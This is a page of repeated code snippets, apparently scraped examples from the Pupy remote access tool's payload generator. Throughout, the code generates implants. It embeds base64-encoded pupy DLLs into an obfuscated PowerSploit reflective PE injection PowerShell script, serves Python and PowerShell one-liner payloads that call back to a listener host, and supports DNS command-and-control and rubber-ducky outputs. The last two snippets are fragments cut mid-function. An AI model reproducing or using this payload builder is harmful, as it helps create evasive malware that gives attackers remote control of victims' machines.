def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
    '''
    Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
    Ready for executing
    '''
    SPLIT_SIZE = 100000
    x86InitCode, x86ConcatCode = "", ""
    code = """
    $PEBytes = ""
    {0}
    $PEBytesTotal = [System.Convert]::FromBase64String({1})
    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
    """#{1}=x86dll
    binaryX86 = b64encode(
        generate_binary_from_template(payload_conf,
                                      'windows',
                                      arch='x86',
                                      shared=True)[0])
    binaryX86parts = [
        binaryX86[i:i + SPLIT_SIZE]
        for i in range(0, len(binaryX86), SPLIT_SIZE)
    ]
    for i, aPart in enumerate(binaryX86parts):
        x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
        x86ConcatCode += "$PEBytes{0}+".format(i)
    print(
        colorize("[+] ", "green") +
        "X86 pupy dll loaded and {0} variables generated".format(i + 1))
    script = obfuscatePowershellScript(
        open(
            os.path.join(ROOT, "external", "PowerSploit", "CodeExecution",
                         "Invoke-ReflectivePEInjection.ps1"), 'r').read())
    return obfs_ps_script("{0}\n{1}".format(
        script, code.format(x86InitCode, x86ConcatCode[:-1])))
Пример #2
0
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
    '''
    Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
    Ready for executing
    '''
    SPLIT_SIZE = 100000
    x86InitCode, x86ConcatCode = "", ""
    code = """
    $PEBytes = ""
    {0}
    $PEBytesTotal = [System.Convert]::FromBase64String({1})
    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
    """#{1}=x86dll
    binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf))
    binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
    for i,aPart in enumerate(binaryX86parts):
        x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
        x86ConcatCode += "$PEBytes{0}+".format(i)
    print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1))
    script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
    return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
Пример #3
0
def pupygen(args, config):
    ok = colorize("[+] ","green")

    if args.workdir:
        os.chdir(args.workdir)

    script_code=""
    if args.scriptlet:
        script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets)


    l = launchers[args.launcher]()
    while True:
        try:
            l.parse_args(args.launcher_args)
        except LauncherError as e:
            if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args:
                myip = get_listener_ip(external=args.prefer_external, config=config)
                if not myip:
                    raise ValueError("--host parameter missing and couldn't find your local IP. "
                                         "You must precise an ip or a fqdn manually")
                myport = get_listener_port(config, external=args.prefer_external)

                print(colorize("[!] required argument missing, automatically adding parameter "
                                   "--host {}:{} from local or external ip address".format(myip, myport),"grey"))
                args.launcher_args = [
                    '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport')
                ]
            elif str(e).strip().endswith('--domain is required') and not '--domain' in args.launcher_args:
                domain = config.get('pupyd', 'dnscnc').split(':')[0]
                if not domain or '.' not in domain:
                    print(colorize('[!] DNSCNC disabled!', 'red'))
                    return

                print(colorize("[!] required argument missing, automatically adding parameter "
                                   "--domain {} from configuration file".format(domain),"grey"))

                args.launcher_args = [
                    '--domain', domain
                ]

            else:
                l.arg_parser.print_usage()
                return
        else:
            break
    if args.randomize_hash:
        script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
    conf={}
    conf['launcher']=args.launcher
    conf['launcher_args']=args.launcher_args
    conf['offline_script']=script_code
    conf['debug']=args.debug
    outpath=args.output
    if args.format=="client":
        print ok+"Generate client: {}/{}".format(args.os, args.arch)

        data, filename, makex = generate_binary_from_template(
            conf, args.os,
            arch=args.arch, shared=args.shared, debug=args.debug
        )

        if not outpath:
            template, ext = filename.rsplit('.', 1)
            outfile = tempfile.NamedTemporaryFile(
                dir=args.output_dir or '.',
                prefix=template+'.',
                suffix='.'+ext,
                delete=False
            )
        else:
            try:
                os.unlink(outpath)
            except:
                pass

            outfile = open(outpath, 'w+b')

        outfile.write(data)
        outfile.close()

        if makex:
            os.chmod(outfile.name, 0511)

        outpath = outfile.name

    elif args.format=="py" or args.format=="pyinst":
        linux_modules = ""
        if not outpath:
            outfile = tempfile.NamedTemporaryFile(
                dir=args.output_dir or '.',
                prefix='pupy_',
                suffix='.py',
                delete=False
            )
        else:
            try:
                os.unlink(outpath)
            except:
                pass

            outfile = open(outpath, 'w+b')

        if args.format=="pyinst" :
            linux_modules = getLinuxImportedModules()
        packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True))

        outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n"+linux_modules+"\n"+packed_payload)
        outfile.close()

        outpath = outfile.name

    elif args.format=="py_oneliner":
        packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True))
        i=conf["launcher_args"].index("--host")+1
        link_ip=conf["launcher_args"][i].split(":",1)[0]
        serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port)
    elif args.format=="ps1":
        SPLIT_SIZE = 100000
        x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
        if not outpath:
            outfile = tempfile.NamedTemporaryFile(
                dir=args.output_dir or '.',
                prefix='pupy_',
                suffix='.ps1',
                delete=False
            )
        else:
            try:
                os.unlink(outpath)
            except:
                pass

            outfile = open(outpath, 'w+b')

        outpath = outfile.name

        code = """
        $PEBytes = ""
        if ([IntPtr]::size -eq 4){{
            {0}
            $PEBytesTotal = [System.Convert]::FromBase64String({1})
        }}
        else{{
            {2}
            $PEBytesTotal = [System.Convert]::FromBase64String({3})
        }}
        Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
        """#{1}=x86dll, {3}=x64dll
        binaryX64 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x64', shared=True)[0])
        binaryX86 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x86', shared=True)[0])
        binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)]
        binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
        for i,aPart in enumerate(binaryX86parts):
            x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
            x86ConcatCode += "$PEBytes{0}+".format(i)
        print(ok+"X86 dll loaded and {0} variables used".format(i+1))
        for i,aPart in enumerate(binaryX64parts):
            x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
            x64ConcatCode += "$PEBytes{0}+".format(i)
        print(ok+"X64 dll loaded and {0} variables used".format(i+1))
        script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
        outfile.write("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]) ))
        outfile.close()
    elif args.format=="ps1_oneliner":
        from pupylib.payloads.ps1_oneliner import serve_ps1_payload
        link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0]
        if args.no_use_proxy == True:
            serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=False)
        else:
            serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=True)
    elif args.format=="rubber_ducky":
        rubber_ducky(conf).generateAllForOStarget()
    else:
        raise ValueError("Type %s is invalid."%(args.format))

    print(ok+"OUTPUT_PATH = %s"%os.path.abspath(outpath))
    print(ok+"SCRIPTLETS = %s"%args.scriptlet)
    print(ok+"DEBUG = %s"%args.debug)
    return os.path.abspath(outpath)
Пример #4
0
def pupygen(args, config):
    ok = colorize("[+] ", "green")

    if args.workdir:
        os.chdir(args.workdir)

    script_code = ""
    if args.scriptlet:
        script_code = parse_scriptlets(args.scriptlet,
                                       debug=args.debug_scriptlets)

    l = launchers[args.launcher]()
    while True:
        try:
            l.parse_args(args.launcher_args)
        except LauncherError as e:
            if str(e).strip().endswith(
                    "--host is required"
            ) and not "--host" in args.launcher_args:
                myip = get_listener_ip(external=args.prefer_external,
                                       config=config)
                if not myip:
                    raise ValueError(
                        "--host parameter missing and couldn't find your local IP. "
                        "You must precise an ip or a fqdn manually")
                myport = get_listener_port(config,
                                           external=args.prefer_external)

                print(
                    colorize(
                        "[!] required argument missing, automatically adding parameter "
                        "--host {}:{} from local or external ip address".
                        format(myip, myport), "grey"))
                args.launcher_args = [
                    '--host', '{}:{}'.format(myip, myport), '-t',
                    config.get('pupyd', 'transport')
                ]
            elif str(e).strip().endswith(
                    '--domain is required'
            ) and not '--domain' in args.launcher_args:
                domain = config.get('pupyd', 'dnscnc').split(':')[0]
                if not domain or '.' not in domain:
                    print(colorize('[!] DNSCNC disabled!', 'red'))
                    return

                print(
                    colorize(
                        "[!] required argument missing, automatically adding parameter "
                        "--domain {} from configuration file".format(domain),
                        "grey"))

                args.launcher_args = ['--domain', domain]

            else:
                l.arg_parser.print_usage()
                return
        else:
            break
    if args.randomize_hash:
        script_code += "\n#%s\n" % ''.join(
            random.choice(string.ascii_uppercase + string.digits +
                          string.ascii_lowercase) for _ in range(40))
    conf = {}
    conf['launcher'] = args.launcher
    conf['launcher_args'] = args.launcher_args
    conf['offline_script'] = script_code
    conf['debug'] = args.debug
    outpath = args.output
    if args.format == "client":
        print ok + "Generate client: {}/{}".format(args.os, args.arch)

        data, filename, makex = generate_binary_from_template(
            conf,
            args.os,
            arch=args.arch,
            shared=args.shared,
            debug=args.debug)

        if not outpath:
            template, ext = filename.rsplit('.', 1)
            outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.',
                                                  prefix=template + '.',
                                                  suffix='.' + ext,
                                                  delete=False)
        else:
            outfile = open(outpath, 'w+b')

        outfile.write(data)
        outfile.close()

        if makex:
            os.chmod(outfile.name, 0511)

        outpath = outfile.name

    elif args.format == "py" or args.format == "pyinst":
        linux_modules = ""
        if not outpath:
            outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.',
                                                  prefix='pupy',
                                                  suffix='.py',
                                                  delete=False)
        else:
            outfile = open(outpath, 'w+b')

        if args.format == "pyinst":
            linux_modules = getLinuxImportedModules()
        packed_payload = pack_py_payload(get_raw_conf(conf))

        outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n" +
                      linux_modules + "\n" + packed_payload)
        outfile.close()

        outpath = outfile.name

    elif args.format == "py_oneliner":
        packed_payload = pack_py_payload(get_raw_conf(conf))
        i = conf["launcher_args"].index("--host") + 1
        link_ip = conf["launcher_args"][i].split(":", 1)[0]
        serve_payload(packed_payload,
                      link_ip=link_ip,
                      port=args.oneliner_listen_port)
    elif args.format == "ps1":
        SPLIT_SIZE = 100000
        x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
        if not outpath:
            outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.',
                                                  prefix='pupy',
                                                  suffix='.ps1',
                                                  delete=False)
        else:
            outfile = open(outpath, 'w+b')

        outpath = outfile.name

        code = """
        $PEBytes = ""
        if ([IntPtr]::size -eq 4){{
            {0}
            $PEBytesTotal = [System.Convert]::FromBase64String({1})
        }}
        else{{
            {2}
            $PEBytesTotal = [System.Convert]::FromBase64String({3})
        }}
        Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
        """#{1}=x86dll, {3}=x64dll
        binaryX64 = base64.b64encode(
            generate_binary_from_template(conf,
                                          'windows',
                                          arch='x64',
                                          shared=True)[0])
        binaryX86 = base64.b64encode(
            generate_binary_from_template(conf,
                                          'windows',
                                          arch='x86',
                                          shared=True)[0])
        binaryX64parts = [
            binaryX64[i:i + SPLIT_SIZE]
            for i in range(0, len(binaryX64), SPLIT_SIZE)
        ]
        binaryX86parts = [
            binaryX86[i:i + SPLIT_SIZE]
            for i in range(0, len(binaryX86), SPLIT_SIZE)
        ]
        for i, aPart in enumerate(binaryX86parts):
            x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
            x86ConcatCode += "$PEBytes{0}+".format(i)
        print(ok + "X86 dll loaded and {0} variables used".format(i + 1))
        for i, aPart in enumerate(binaryX64parts):
            x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
            x64ConcatCode += "$PEBytes{0}+".format(i)
        print(ok + "X64 dll loaded and {0} variables used".format(i + 1))
        script = obfuscatePowershellScript(
            open(
                os.path.join(ROOT, "external", "PowerSploit", "CodeExecution",
                             "Invoke-ReflectivePEInjection.ps1"), 'r').read())
        outfile.write("{0}\n{1}".format(
            script,
            code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode,
                        x64ConcatCode[:-1])))
        outfile.close()
    elif args.format == "ps1_oneliner":
        from pupylib.payloads.ps1_oneliner import serve_ps1_payload
        link_ip = conf["launcher_args"][conf["launcher_args"].index("--host") +
                                        1].split(":", 1)[0]
        if args.no_use_proxy == True:
            serve_ps1_payload(conf,
                              link_ip=link_ip,
                              port=args.oneliner_listen_port,
                              useTargetProxy=False)
        else:
            serve_ps1_payload(conf,
                              link_ip=link_ip,
                              port=args.oneliner_listen_port,
                              useTargetProxy=True)
    elif args.format == "rubber_ducky":
        rubber_ducky(conf).generateAllForOStarget()
    else:
        raise ValueError("Type %s is invalid." % (args.format))

    print(ok + "OUTPUT_PATH = %s" % os.path.abspath(outpath))
    print(ok + "SCRIPTLETS = %s" % args.scriptlet)
    print(ok + "DEBUG = %s" % args.debug)
    return os.path.abspath(outpath)
Пример #5
0
     }}
     Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
     """#{1}=x86dll, {3}=x64dll
     binaryX64=base64.b64encode(get_edit_pupyx64_dll(conf))
     binaryX86=base64.b64encode(get_edit_pupyx86_dll(conf))
     binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)]
     binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
     for i,aPart in enumerate(binaryX86parts):
         x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
         x86ConcatCode += "$PEBytes{0}+".format(i)
     print(colorize("[+] ","green")+"X86 dll loaded and {0} variables used".format(i+1))
     for i,aPart in enumerate(binaryX64parts):
         x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
         x64ConcatCode += "$PEBytes{0}+".format(i)
     print(colorize("[+] ","green")+"X64 dll loaded and {0} variables used".format(i+1))
     script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
     with open(outpath, 'wb') as w:
         w.write("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]) ))
 elif args.format=="ps1_oneliner":
     from pupylib.payloads.ps1_oneliner import serve_ps1_payload
     link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0]
     if args.no_use_proxy == True:
         serve_ps1_payload(conf, link_ip=link_ip, port=args.ps1_oneliner_listen_port, useTargetProxy=False)
     else:
         serve_ps1_payload(conf, link_ip=link_ip, port=args.ps1_oneliner_listen_port, useTargetProxy=True)
 elif args.format=="rubber_ducky":
     rubber_ducky(conf).generateAllForOStarget()
 else:
     exit("Type %s is invalid."%(args.format))
 print(colorize("[+] ","green")+"payload successfully generated with config :")
 print("OUTPUT_PATH = %s"%os.path.abspath(outpath))
Пример #6
0
         for i in range(0, len(binaryX86), SPLIT_SIZE)
     ]
     for i, aPart in enumerate(binaryX86parts):
         x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
         x86ConcatCode += "$PEBytes{0}+".format(i)
     print(
         colorize("[+] ", "green") +
         "X86 dll loaded and {0} variables used".format(i + 1))
     for i, aPart in enumerate(binaryX64parts):
         x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
         x64ConcatCode += "$PEBytes{0}+".format(i)
     print(
         colorize("[+] ", "green") +
         "X64 dll loaded and {0} variables used".format(i + 1))
     script = obfuscatePowershellScript(
         open(
             os.path.join(ROOT, "external", "PowerSploit", "CodeExecution",
                          "Invoke-ReflectivePEInjection.ps1"), 'r').read())
     with open(outpath, 'wb') as w:
         w.write("{0}\n{1}".format(
             script,
             code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode,
                         x64ConcatCode[:-1])))
 elif args.format == "ps1_oneliner":
     from pupylib.payloads.ps1_oneliner import serve_ps1_payload
     i = conf["launcher_args"].index("--host") + 1
     link_ip = conf["launcher_args"][i].split(":", 1)[0]
     serve_ps1_payload(conf, link_ip=link_ip)
 elif args.format == "rubber_ducky":
     rubber_ducky(conf).generateAllForOStarget()
 else:
     exit("Type %s is invalid." % (args.format))